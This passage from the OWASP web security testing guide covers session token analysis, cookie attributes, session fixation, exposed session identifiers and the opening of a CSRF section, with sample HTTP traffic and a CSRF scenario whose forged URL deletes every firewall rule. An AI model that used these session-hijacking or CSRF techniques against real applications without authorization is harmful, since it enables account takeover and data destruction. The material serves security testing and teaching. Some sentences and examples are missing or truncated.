outlined in the OWASP Guide to Building Secure Web Applications, it
is important that application security is considered within the context
of the provider’s requirements and expectations.

Testing for Session Management Schema
(OTG-SESS-001)

Summary
In order to avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to
store and validate credentials for a pre-determined timespan. These
mechanisms are known as Session Management and while they are
important in order to increase the ease of use and user-friendliness
of the application, they can be exploited by a penetration tester to
gain access to a user account, without the need to provide correct
credentials.
In this test, the tester wants to check that cookies and other session
tokens are created in a secure and unpredictable way. An attacker
who is able to predict and forge a weak cookie can easily hijack the
sessions of legitimate users.
Cookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an
application which needs to keep track of the actions and identity of
that user across multiple requests, a cookie (or cookies) is generated by the server and sent to the client. The client will then send the
cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide
to the server a large spectrum of information about who the user is,
what actions he has performed so far, what his preferences are, etc.
therefore providing a state to a stateless protocol like HTTP.
A typical example is provided by an online shopping cart. Throughout
the session of a user, the application must keep track of his identity,
his profile, the products that he has chosen to buy, the quantity, the
individual prices, the discounts, etc. Cookies are an efficient way to
store and pass this information back and forth (other methods are
URL parameters and hidden fields).
Due to the importance of the data that they store, cookies are there-

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fore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate
users, gaining higher privileges in an active session, and in general
influencing the operations of the application in an unauthorized way.
In this test the tester has to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the
sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid
by the application and that will provide some kind of unauthorized
access (session hijacking, privilege escalation, ...).
Usually the main steps of the attack pattern are the following:
algorithm;
• cookie manipulation: forging of a valid cookie in order to perform
the attack. This last step might require a large number of attempts,
Another pattern of attack consists of overflowing a cookie. Strictly
speaking, this attack has a different nature, since here testers are not
trying to recreate a perfectly valid cookie. Instead, the goal is to overflow a memory area, thereby interfering with the correct behavior of
the application and possibly injecting (and remotely executing) malicious code.
How to Test
Black Box Testing and Examples
All interaction between the client and application should be tested at
least against the following criteria:
• Are all Set-Cookie directives tagged as Secure?
• Do any Cookie operations take place over unencrypted transport?
• Can the Cookie be forced over unencrypted transport?
• If so, how does the application maintain security?
• What Expires= times are used on persistent cookies, and are they
reasonable?
• Are cookies that are expected to be transient configured as such?
• What HTTP/1.1 Cache-Control settings are used to protect Cookies?
• What HTTP/1.0 Cache-Control settings are used to protect Cookies?
The first step required to manipulate the cookie is to understand how
have to try to answer the following questions:
• How many cookies are used by the application?
Surf the application. Note when cookies are created. Make a list
directive), the domain for which they are valid, their value, and their
characteristics.
• Which parts of the the application generate and/or modify the
Surfing the application, find which cookies remain constant and which
get modified. What events modify the cookie?

• Which parts of the application require this cookie in order to be
accessed and utilized?
Find out which parts of the application need a cookie. Access a page,
then try again without the cookie, or with a modified value of it. Try to
map which cookies are used where.
A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this
phase.
Session Analysis
The session tokens (Cookie, SessionID or Hidden Field) themselves
should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness,
uniqueness, resistance to statistical and cryptographic analysis and
information leakage.
• Token Structure & Information Leakage
The first stage is to examine the structure and content of a Session ID
provided by the application. A common mistake is to include specific
data in the Token instead of issuing a generic value and referencing
real data at the server side.
If the Session ID is clear-text, the structure and pertinent data may be
immediately obvious as the following:
http://foo.bar/showImage?img=img00011
If part or the entire token appears to be encoded or hashed, it should
be compared to various techniques to check for obvious obfuscation.
is represented in Hex, Base64 and as an MD5 hash:
Hex
Base64
MD5

3139322E3136382E3130302E313A6F77617370757
365723A70617373776F72643A31353A3538
MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6c
GFzc3dvcmQ6MTU6NTg=
01c2fc4f0a817afd8366689bd29dd40a

Having identified the type of obfuscation, it may be possible to decode
back to the original data. In most cases, however, this is unlikely. Even
so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation
technique can be deduced, automated brute-force attacks could be
devised.
Hybrid tokens may include information such as IP address or User ID
together with an encoded portion, as the following:
owaspuser:192.168.100.1:
a7656fafe94dae72b1e1487670148412
Having analyzed a single session token, the representative sample should be examined. A simple analysis of the tokens should
immediately reveal any obvious patterns. For example, a 32 bit
token may include 16 bits of static data and 16 bits of variable
data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address. If the second

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16 bit chunk is incrementing at a regular rate, it may indicate a
sequential or even time-based element to the token generation.
See examples.

• What portions of the Session IDs are predictable?
• Can the next ID be deduced, given full knowledge of the
generation algorithm and previous IDs?

If static elements to the Tokens are identified, further samples
should be gathered, varying one potential input element at a time.
from a different IP address may yield a variance in the previously
static portion of the session token.

Now that the tester has enumerated the cookies and has a general idea of their use, it is time to have a deeper look at cookies
that seem interesting. Which cookies is the tester interested in?
A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is
aimed at protecting the cookie from a different class of attacks.

The following areas should be addressed during the single and
multiple Session ID structure testing:
• What parts of the Session ID are static?
• What clear-text confidential information is stored in the Session
• What easily decoded confidential information is stored?
• What information can be deduced from the structure of the
Session ID?
• What portions of the Session ID are static for the same log in
conditions?
• What obvious patterns are present in the Session ID as a whole,
or individual portions?
Session ID Predictability and Randomness
Analysis of the variable areas (if any) of the Session ID should be
undertaken to establish the existence of any recognizable or predictable patterns. These analyses may be performed manually and
with bespoke or OTS statistical or cryptanalytic tools to deduce
any patterns in the Session ID content. Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address.
Time is an important factor which must also be controlled. High
numbers of simultaneous connections should be made in order to
gather samples in the same time window and keep that variable
constant. Even a quantization of 50ms or less may be too coarse
and a sample taken in this way may reveal time-based components that would otherwise be missed.
Variable elements should be analyzed over time to determine
whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random
elements. Where the patterns are seemingly random, one-way
hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic
hash is a decimal or hexadecimal number so should be identifiable.
In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the
application.
• Are the Session IDs provably random in nature? Can the resulting
values be reproduced?
• Do the same input conditions produce the same ID on a
subsequent run?
• Are the Session IDs provably resistant to statistical or
cryptanalysis?
• What elements of the Session IDs are time-linked?

These characteristics are summarized below:
[1] Unpredictability: a cookie must contain some amount of hardto-guess data. The harder it is to forge a valid cookie, the harder is
to break into legitimate user’s session. If an attacker can guess the
cookie used in an active session of a legitimate user, they will be
able to fully impersonate that user (session hijacking). In order to
make a cookie unpredictable, random values and/or cryptography
can be used.
[2] Tamper resistance: a cookie must resist malicious attempts
it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the
cookie an encrypted hash of its value)
[3] Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from the disk or memory
afterwards to avoid the risk of being replayed. This does not apply
to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel).
[4] “Secure” flag: a cookie whose value is critical for the integrity
of the session should have this flag enabled in order to allow its
transmission only in an encrypted channel to deter eavesdropping.
The approach here is to collect a sufficient number of instances
of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples,
if the cookie generation method is very easy to break, to several
thousands, if the tester needs to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).
It is important to pay particular attention to the workflow of the
application, as the state of a session can have a heavy impact on
can be very different from a cookie obtained after the authentication.
Another aspect to keep into consideration is time. Always record
the exact time when a cookie has been obtained, when there is
the possibility that time plays a role in the value of the cookie (the
server could use a time stamp as part of the cookie value). The
time recorded could be the local time or the server’s time stamp
included in the HTTP response (or both).
When analyzing the collected values, the tester should try to figure
out all variables that could have influenced the cookie value and
try to vary them one at the time. Passing to the server modified

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Examples of checks to be performed at this stage include:
• What character set is used in the cookie? Has the cookie a
numeric value? alphanumeric? hexadecimal? What happens if
the tester inserts in a cookie characters that do not belong to the
expected charset?
• Is the cookie composed of different sub-parts carrying different
pieces of information? How are the different parts separated?
With which delimiters? Some parts of the cookie could have a
higher variance, others might be constant, others could assume
only a limited set of values. Breaking down the cookie to its base
components is the first and fundamental step.
An example of an easy-to-spot structured cookie is the following:
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145
21:S=j3am5KzC4v01ba3q
This example shows 5 different fields, carrying different types of data:
CR – small integer
TM and LM – large integer. (And curiously they hold the
same value. Worth to see what happens modifying one of
them)
S – alphanumeric
Even when no delimiters are used, having enough samples can help.
As an example, let’s look at the following series:
0123456789abcdef
Brute Force Attacks
Brute force attacks inevitably lead on from questions relating to
predictability and randomness. The variance within the Session
IDs must be considered together with application session duration
and timeouts. If the variation within the Session IDs is relatively
small, and Session ID validity is long, the likelihood of a successful
brute-force attack is much higher.
A long Session ID (or rather one with a great deal of variance) and
a shorter validity period would make it far harder to succeed in a
brute force attack.
• How long would a brute-force attack on all possible Session IDs
take?
• Is the Session ID space large enough to prevent brute forcing? For
example, is the length of the key sufficient when compared to the
valid life-span?
• Do delays between connection attempts with different Session IDs
mitigate the risk of this attack?
Gray Box testing and example
If the tester has access to the session management schema implementation, they can check for the following:
• Random Session Token
The Session ID or Cookie issued to the client should not be easily pre-

dictable (don’t use linear algorithms based on predictable variables
such as the client IP address). The use of cryptographic algorithms
with key length of 256 bits is encouraged (like AES).
• Token length
Session ID will be at least 50 characters length.
• Session Time-out
Session token should have a defined time-out (it depends on the criticality of the application managed data)
• non-persistent: only RAM memory
• secure (set only on HTTPS channel):
• HTTPOnly (not readable by a script):

Tools

• OWASP Zed Attack Proxy Project (ZAP) https://www.owasp.org/index.php/OWASP_Zed_Attack_
Proxy_Project - features a session token analysis mechanism.
• Burp Sequencer http://www.portswigger.net/suite/sequencer.html
• Foundstone CookieDigger h t t p : // w w w. m c a f e e . c o m /u s /d o w n l o a d s / f r e e - t o o l s /
• YEHG’s JHijack - https://www.owasp.org/index.php/JHijack
References
Whitepapers
• RFC 2965 “HTTP State Management Mechanism”
• RFC 1750 “Randomness Recommendations for Security”
• Michal Zalewski: “Strange Attractors and TCP/IP Sequence
Number Analysis” (2001): http://lcamtuf.coredump.cx/oldtcp/
tcpseq.html
• Michal Zalewski: “Strange Attractors and TCP/IP Sequence
Number Analysis - One Year Later” (2002):
http://lcamtuf.coredump.cx/newtcp/
• Correlation Coefficient:
http://mathworld.wolfram.com/CorrelationCoefficient.html
• Darrin Barrall: “Automated Cookie Analysis” –
pdf
• ENT: http://fourmilab.ch/random/
• http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html
• Gunter Ollmann: “Web Based Session Management” http://www.technicalinfo.net
• Matteo Meucci:”MMS Spoofing” http://www.owasp.org/images/7/72/MMS_Spoofing.ppt
Videos
• Session Hijacking in Webgoat Lesson http://yehg.net/lab/pr0js/training/view/owasp/webgoat/
WebGoat_SessionMan_SessionHijackingWithJHijack/
Related Security Activities
Description of Session Management Vulnerabilities
See the OWASP articles on Session Management Vulnerabilities.

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Description of Session Management Countermeasures
See the OWASP articles on Session Management Countermeasures.
How to Avoid Session Management Vulnerabilities
See the OWASP Development Guide article on how to Avoid Session Management Vulnerabilities.
How to Review Code for Session Management| Vulnerabilities
See the OWASP Code Review Guide article on how to Review Code
for Session Management Vulnerabilities.

Summary
Cookies are often a key attack vector for malicious users (typically
targeting other users) and the application should always take due
diligence to protect cookies. This section looks at how an application can take the necessary precautions when assigning cookies,
and how to test that these attributes have been correctly configured.
The importance of secure use of Cookies cannot be understated,
especially within dynamic web applications, which need to maintain state across a stateless protocol such as HTTP. To understand
the importance of cookies it is imperative to understand what
they are primarily used for. These primary functions usually consist of being used as a session authorization and authentication
token or as a temporary data container. Thus, if an attacker were
able to acquire a session token (for example, by exploiting a cross
site scripting vulnerability or by sniffing an unencrypted session),
then they could use this cookie to hijack a valid session.
Additionally, cookies are set to maintain state across multiple requests. Since HTTP is stateless, the server cannot determine if
a request it receives is part of a current session or the start of
a new session without some type of identifier. This identifier is
very commonly a cookie although other methods are also possible. There are many different types of applications that need to
keep track of session state across multiple requests. The primary
one that comes to mind would be an online store. As a user adds
multiple items to a shopping cart, this data needs to be retained
in subsequent requests to the application. Cookies are very commonly used for this task and are set by the application using the
Set-Cookie directive in the application’s HTTP response, and is
usually in a name=value format (if cookies are enabled and if they
are supported, as is the case for all modern web browsers). Once
an application has told the browser to use a particular cookie, the
can contain data such as items from an online shopping cart, the
price of these items, the quantity of these items, personal information, user IDs, etc.
Due to the sensitive nature of information in cookies, they are typically encoded or encrypted in an attempt to protect the information they contain. Often, multiple cookies will be set (separated by
a semicolon) upon subsequent requests. For example, in the case
of an online store, a new cookie could be set as the user adds multiple items to the shopping cart. Additionally, there will typically
be a cookie for authentication (session token as indicated above)
once the user logs in, and multiple other cookies used to identify
the items the user wishes to purchase and their auxiliary information (i.e., price and quantity) in the online store type of application.

Once the tester has an understanding of how cookies are set,
when they are set, what they are used for, why they are used, and
their importance, they should take a look at what attributes can be
set for a cookie and how to test if they are secure. The following
is a list of the attributes that can be set for each cookie and what
they mean. The next section will focus on how to test for each
attribute.
• secure - This attribute tells the browser to only send the cookie
if the request is being sent over a secure channel such as HTTPS.
This will help protect the cookie from being passed over unencrypted requests. If the application can be accessed over both
HTTP and HTTPS, then there is the potential that the cookie can
be sent in clear text.
• HttpOnly - This attribute is used to help prevent attacks such
as cross-site scripting, since it does not allow the cookie to be
accessed via a client side script such as JavaScript. Note that not
all browsers support this functionality.
• domain - This attribute is used to compare against the domain
of the server in which the URL is being requested. If the domain
matches or if it is a sub-domain, then the path attribute will be
checked next.
Note that only hosts within the specified domain can set a cookie
for that domain. Also the domain attribute cannot be a top level
domain (such as .gov or .com) to prevent servers from setting arbitrary cookies for another domain. If the domain attribute is not
set, then the host name of the server that generated the cookie is
used as the default value of the domain.
For example, if a cookie is set by an application at app.mydomain.
com with no domain attribute set, then the cookie would be resubmitted for all subsequent requests for app.mydomain.com
and its sub-domains (such as hacker.app.mydomain.com), but not
to otherapp.mydomain.com. If a developer wanted to loosen this
restriction, then he could set the domain attribute to mydomain.
com. In this case the cookie would be sent to all requests for app.
mydomain.com and its sub domains, such as hacker.app.mydomain.com, and even bank.mydomain.com. If there was a vulnerable server on a sub domain (for example, otherapp.mydomain.
com) and the domain attribute has been set too loosely (for example, mydomain.com), then the vulnerable server could be used to
harvest cookies (such as session tokens).
• path - In addition to the domain, the URL path that the cookie
is valid for can be specified. If the domain and path match, then
the cookie will be sent in the request. Just as with the domain attribute, if the path attribute is set too loosely, then it could leave
the application vulnerable to attacks by other applications on the
same server.
For example, if the path attribute was set to the web server root
“/”, then the application cookies will be sent to every application
within the same domain.
• expires - This attribute is used to set persistent cookies, since
the cookie does not expire until the set date is exceeded. This
persistent cookie will be used by this browser session and subsequent sessions until the cookie expires. Once the expiration
date has exceeded, the browser will delete the cookie. Alternatively, if this attribute is not set, then the cookie is only valid in
the current browser session and the cookie will be deleted when
the session ends.

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How to Test
Black Box Testing
By using an intercepting proxy or traffic intercepting browser plugin, trap all responses where a cookie is set by the application (using
• Secure Attribute - Whenever a cookie contains sensitive
information or is a session token, then it should always be passed
using an encrypted tunnel. For example, after logging into an
application and a session token is set using a cookie, then verify
it is tagged using the “;secure” flag. If it is not, then the browser
would agree to pass it via an unencrypted channel such as
using HTTP, and this could lead to an attacker leading users into
submitting their cookie over an insecure channel.
• HttpOnly Attribute - This attribute should always be set even
though not every browser supports it. This attribute aids in
securing the cookie from being accessed by a client side script,
it does not eliminate cross site scripting risks but does eliminate
some exploitation vectors. Check to see if the “;HttpOnly” tag has
been set.
• Domain Attribute - Verify that the domain has not been set too
loosely. As noted above, it should only be set for the server that
on server app.mysite.com, then it should be set to “; domain=app.
mysite.com” and NOT “; domain=.mysite.com” as this would allow
• Path Attribute - Verify that the path attribute, just as the
Domain attribute, has not been set too loosely. Even if the Domain
attribute has been configured as tight as possible, if the path is set
to the root directory “/” then it can be vulnerable to less secure
applications on the same server. For example, if the application
resides at /myapp/, then verify that the cookies path is set to “;
path=/myapp/” and NOT “; path=/” or “; path=/myapp”. Notice
here that the trailing “/” must be used after myapp. If it is not
used, the browser will send the cookie to any path that matches
“myapp” such as “myapp-exploited”.
• Expires Attribute - If this attribute is set to a time in the future
verify that the cookie does not contain any sensitive information.
For example, if a cookie is set to “; expires=Sun, 31-Jul-2016
13:45:29 GMT” and it is currently July 31st 2014, then the tester
should inspect the cookie. If the cookie is a session token that
is stored on the user’s hard drive then an attacker or local user
application by resubmitting this token until the expiration date
passes.

Tools

Intercepting Proxy:
• OWASP Zed Attack Proxy Project
Browser Plug-in:
• “TamperIE” for Internet Explorer http://www.bayden.com/TamperIE/
References
Whitepapers
• RFC 2965 - HTTP State Management Mechanism http://tools.ietf.org/html/rfc2965

• RFC 2616 – Hypertext Transfer Protocol –
HTTP 1.1 - http://tools.ietf.org/html/rfc2616
• The important “expires” attribute of Set-Cookie
http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html
• HttpOnly Session ID in URL and Page Body
http://seckb.yehg.net/2012/06/httponly-session-id-in-url-andpage.html

Testing for Session Fixation (OTG-SESS-003)

Brief Summary
When an application does not renew its session cookie(s) after a
successful user authentication, it could be possible to find a session
fixation vulnerability and force a user to utilize a cookie known by
the attacker. In that case, an attacker could steal the user session
(session hijacking).
Session fixation vulnerabilities occur when:
• A web application authenticates a user without first invalidating
the existing session ID, thereby continuing to use the session ID
• An attacker is able to force a known session ID on a user so
authenticated session.
In the generic exploit of session fixation vulnerabilities, an attacker
creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to
authenticate against the server using the same session identifier,
session.
Furthermore, the issue described above is problematic for sites
that issue a session identifier over HTTP and then redirect the user
to a HTTPS log in form. If the session identifier is not reissued upon
authentication, the attacker can eavesdrop and steal the identifier
and then use it to hijack the session.
How to Test
Black Box Testing
Testing for Session Fixation vulnerabilities:
The first step is to make a request to the site to be tested (example
www.example.com). If the tester requests the following:
GET www.example.com
They will obtain the following answer:
HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT
Server: IBM_HTTP_Server
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=Cp1254
Content-Language: en-US

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The application sets a new session identifier JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 for the client.
Next, if the tester successfully authenticates to the application
with the following POST HTTPS:
POST https://www.example.com/authentication.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 57

The tester observes the following response from the server:
HTTP/1.1 200 OK
Date: Thu, 14 Aug 2008 14:52:58 GMT
Server: Apache/2.2.2 (Fedora)
X-Powered-By: PHP/5.1.6
Content-language: en
Cache-Control: private, must-revalidate, max-age=0
X-Content-Encoding: gzip
Content-length: 4090
Connection: close
Content-Type: text/html; charset=UTF-8
...
HTML data
...
As no new cookie has been issued upon a successful authentication the tester knows that it is possible to perform session hijacking.
Result Expected: The tester can send a valid session identifier to
a user (possibly using a social engineering trick), wait for them to
authenticate, and subsequently verify that privileges have been
Gray Box Testing
Talk with developers and understand if they have implemented a
session token renew after a user successful authentication.
Result Expected: The application should always first invalidate
the existing session ID before authenticating a user, and if the authentication is successful, provide another sessionID.

Tools

• Hijack - a numeric session hijacking tool http://yehg.net/lab/pr0js/files.php/jhijackv0.2beta.zip
• OWASP WebScarab: OWASP_WebScarab_Project
References
Whitepapers
• Session Fixation
• ACROS Security:
http://www.acrossecurity.com/papers/session_fixation.pdf
• Chris Shiflett: http://shiflett.org/articles/session-fixation

Testing for Exposed Session Variables
(OTG-SESS-004)

Summary
The Session Tokens (Cookie, SessionID, Hidden Field), if exposed,
will usually enable an attacker to impersonate a victim and access
the application illegitimately. It is important that they are protected from eavesdropping at all times, particularly whilst in transit
between the client browser and the application servers.
The information here relates to how transport security applies to
the transfer of sensitive Session ID data rather than data in general, and may be stricter than the caching and transport policies
applied to the data served by the site.
Using a personal proxy, it is possible to ascertain the following
• Protocol used (e.g., HTTP vs. HTTPS)
• Message Body (e.g., POST or page content)
Each time Session ID data is passed between the client and the
server, the protocol, cache, and privacy directives and body should
be examined. Transport security here refers to Session IDs passed
in GET or POST requests, message bodies, or other means over
valid HTTP requests.
How to Test
Testing for Encryption & Reuse of Session Tokens vulnerabilities:
Protection from eavesdropping is often provided by SSL encryption, but may incorporate other tunneling or encryption. It should
be noted that encryption or cryptographic hashing of the Session
ID should be considered separately from transport encryption, as
it is the Session ID itself being protected, not the data that may be
represented by it.
If the Session ID could be presented by an attacker to the application to gain access, then it must be protected in transit to mitigate
that risk. It should therefore be ensured that encryption is both
the default and enforced for any request or response where the
Session ID is passed, regardless of the mechanism used (e.g., a
hidden form field). Simple checks such as replacing https:// with
http:// during interaction with the application should be performed, together with modification of form posts to determine if
adequate segregation between the secure and non-secure sites
is implemented.
Note that if there is also an element to the site where the user is
tracked with Session IDs but security is not present (e.g., noting

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which public documents a registered user downloads) it is essential that a different Session ID is used. The Session ID should
therefore be monitored as the client switches from the secure to
non-secure elements to ensure a different one is used.
Result Expected:
Every time the authentication is successful, the user should expect to receive:
• A different session token
• A token sent via encrypted channel every time they make an
HTTP Request
Testing for Proxies & Caching vulnerabilities:
Proxies must also be considered when reviewing application security. In many cases, clients will access the application through
corporate, ISP, or other proxies or protocol aware gateways (e.g.,
Firewalls). The HTTP protocol provides directives to control the
behavior of downstream proxies, and the correct implementation
of these directives should also be assessed.
In general, the Session ID should never be sent over unencrypted
transport and should never be cached. The application should be
examined to ensure that encrypted communications are both the
default and enforced for any transfer of Session IDs. Furthermore,
whenever the Session ID is passed, directives should be in place to
prevent its caching by intermediate and even local caches.
The application should also be configured to secure data in caches
over both HTTP/1.0 and HTTP/1.1 – RFC 2616 discusses the appropriate controls with reference to HTTP. HTTP/1.1 provides a number
of cache control mechanisms. Cache-Control: no-cache indicates
that a proxy must not re-use any data. Whilst Cache-Control: Private appears to be a suitable directive, this still allows a non-shared
proxy to cache data. In the case of web-cafes or other shared systems, this presents a clear risk. Even with single-user workstations
the cached Session ID may be exposed through a compromise of
the file-system or where network stores are used. HTTP/1.0 caches
do not recognise the Cache-Control: no-cache directive.
Result Expected:
The “Expires: 0” and Cache-Control: max-age=0 directives should
be used to further ensure caches do not expose the data. Each
request/response passing Session ID data should be examined to
ensure appropriate cache directives are in use.
Testing for GET & POST vulnerabilities:
In general, GET requests should not be used, as the Session ID
may be exposed in Proxy or Firewall logs. They are also far more
easily manipulated than other types of transport, although it
should be noted that almost any mechanism can be manipulated
by the client with the right tools. Furthermore, Cross-site Scripting (XSS) attacks are most easily exploited by sending a specially
constructed link to the victim. This is far less likely if data is sent
from the client as POSTs.
Result Expected:
All server side code receiving data from POST requests should be
tested to ensure it does not accept the data if sent as a GET. For
example, consider the following POST request generated by a log
in page.

Host: owaspapp.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.0.2) Gecko/20030208 Netscape/7.02 Paros/3.0.2b
Accept: */*
Accept-Language: en-us, en
Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Potentially insecure server-side scripts may be identified by
checking each POST in this way.
Testing for Transport vulnerabilities:
All interaction between the Client and Application should be tested at least against the following criteria.
• How are Session IDs transferred? e.g., GET, POST, Form Field
(including hidden fields)
• Are Session IDs always sent over encrypted transport by default?
• Is it possible to manipulate the application to send Session IDs
unencrypted? e.g., by changing HTTP to HTTPS?
• What cache-control directives are applied to requests/responses
passing Session IDs?
• Are these directives always present? If not, where are the
exceptions?
• Are GET requests incorporating the Session ID used?
• If POST is used, can it be interchanged with GET?
References
Whitepapers
• RFCs 2109 & 2965 – HTTP State Management Mechanism
[D. Kristol, L. Montulli] - http://www.ietf.org/rfc/rfc2965.txt,
http://www.ietf.org/rfc/rfc2109.txt
• RFC 2616 – Hypertext Transfer Protocol HTTP/1.1 - http://www.ietf.org/rfc/rfc2616.txt

Testing for CSRF (OTG-SESS-005)

Summary
CSRF is an attack which forces an end user to execute unwanted
actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link
via email or chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing. A successful
CSRF exploit can compromise end user data and operation, when
it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web
application.
CSRF relies on the following:
[1] Web browser behavior regarding the handling of session-re-

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lated information such as cookies and http authentication information;
[2] Knowledge by the attacker of valid web application URLs;
[3] Application session management relying only on information
which is known by the browser;
[4] Existence of HTML tags whose presence cause immediate access to an http[s] resource; for example the image tag img.
Points 1, 2, and 3 are essential for the vulnerability to be present,
while point 4 is accessory and facilitates the actual exploitation,
but is not strictly required.
Point 1) Browsers automatically send information which is used
to identify a user session. Suppose site is a site hosting a web
application, and the user victim has just authenticated himself to
site. In response, site sends victim a cookie which identifies requests sent by victim as belonging to victim’s authenticated session. Basically, once the browser receives the cookie set by site, it
will automatically send it along with any further requests directed
to site.
Point 2) If the application does not make use of session-related
information in URLs, then it means that the application URLs,
their parameters, and legitimate values may be identified (either
by code analysis or by accessing the application and taking note of
forms and URLs embedded in the HTML/JavaScript).
Point 3) ”Known by the browser” refers to information such as
cookies, or http-based authentication information (such as Basic
Authentication; and not form-based authentication), which are
stored by the browser and subsequently resent at each request
directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications which
rely entirely on this kind of information to identify a user session.
Suppose, for simplicity’s sake, to refer to GET-accessible URLs
(though the discussion applies as well to POST requests). If victim
has already authenticated himself, submitting another request
causes the cookie to be automatically sent with it (see picture,
where the user accesses an application on www.example.com).

The GET request could be originated in several different ways:
• by the user, who is using the actual web application;
• by the user, who types the URL directly in the browser;
• by the user, who follows a link (external to the application)
pointing to the URL.
These invocations are indistinguishable by the application. In
particular, the third may be quite dangerous. There are a number
of techniques (and of vulnerabilities) which can disguise the real
properties of a link. The link can be embedded in an email message, or appear in a malicious web site where the user is lured, i.e.,

the link appears in content hosted elsewhere (another web site,
an HTML email message, etc.) and points to a resource of the application. If the user clicks on the link, since it was already authenticated by the web application on site, the browser will issue a GET
request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation
performed on the web application and probably not what the user
expects to happen. Think of a malicious link causing a fund transfer on a web banking application to appreciate the implications.
By using a tag such as img, as specified in point 4 above, it is not
even necessary that the user follows a particular link. Suppose the
attacker sends the user an email inducing him to visit an URL referring to a page containing the following (oversimplified) HTML:

...

...

What the browser will do when it displays this page is that it will
try to display the specified zero-width (i.e., invisible) image as well.
This results in a request being automatically sent to the web application hosted on site. It is not important that the image URL
does not refer to a proper image, its presence will trigger the request specified in the src field anyway. This happens provided that
image download is not disabled in the browsers, which is a typical
configuration since disabling images would cripple most web applications beyond usability.
The problem here is a consequence of the following facts:
• there are HTML tags whose appearance in a page result in
automatic http request execution (img being one of those);
• the browser has no way to tell that the resource referenced by
img is not actually an image and is in fact not legitimate;
image, i.e., the form and the image itself need not be located
in the same host, not even in the same domain. While this is
a very handy feature, it makes difficult to compartmentalize
applications.
It is the fact that HTML content unrelated to the web application may refer components in the application, and the fact that
the browser automatically composes a valid request towards the
application, that allows such kind of attacks. As no standards are
defined right now, there is no way to prohibit this behavior unless
it is made impossible for the attacker to specify valid application
URLs. This means that valid URLs must contain information related to the user session, which is supposedly not known to the
attacker and therefore make the identification of such URLs impossible.
The problem might be even worse, since in integrated mail/

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browser environments simply displaying an email message containing the image would result in the execution of the request to
the web application with the associated browser cookie.
Things may be obfuscated further, by referencing seemingly valid
image URLs such as

Therefore, if we enter the value ‘*’ and press the Delete button,
the following GET request is submitted.
https://www.company.example/fwmgt/delete?rule=*

with the effect of deleting all firewall rules (and ending up in a possibly inconvenient situation).

where [attacker] is a site controlled by the attacker, and by utilizing a redirect mechanism on
http://[attacker]/picture.gif to http://[thirdparty]/action.
Cookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely
supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the
authentication information is known by the browser and is sent
automatically upon each request. This DOES NOT include formbased authentication, which occurs just once and generates some
form of session-related information (of course, in this case, such
information is expressed simply as a cookie and can we fall back
to one of the previous cases).
Sample scenario
Let’s suppose that the victim is logged on to a firewall web management application. To log in, a user has to authenticate himself
and session information is stored in a cookie.
Let’s suppose the firewall web management application has a
function that allows an authenticated user to delete a rule specified by its positional number, or all the rules of the configuration if
the user enters ‘*’ (quite a dangerous feature, but it will make the
example more interesting). The delete page is shown next. Let’s
suppose that the form – for the sake of simplicity – issues a GET
request, which will be of the form
https://[target]/fwmgt/delete?rule=1
(to delete rule number one)
https://[target]/fwmgt/delete?rule=*
(to delete all rules).
The example is purposely quite naive, but shows in a simple way
the dangers of CSRF.

Now, this is not the only possible scenario. The user might have
accomplished the same results by manually submitting the URL
or by following a link pointing, directly or via a redirection, to the
above URL. Or, again, by accessing an HTML page with an embedded img tag pointing to the same URL.
https://[target]/fwmgt/delete?rule=*

In all of these cases, if the user is currently logged in the firewall
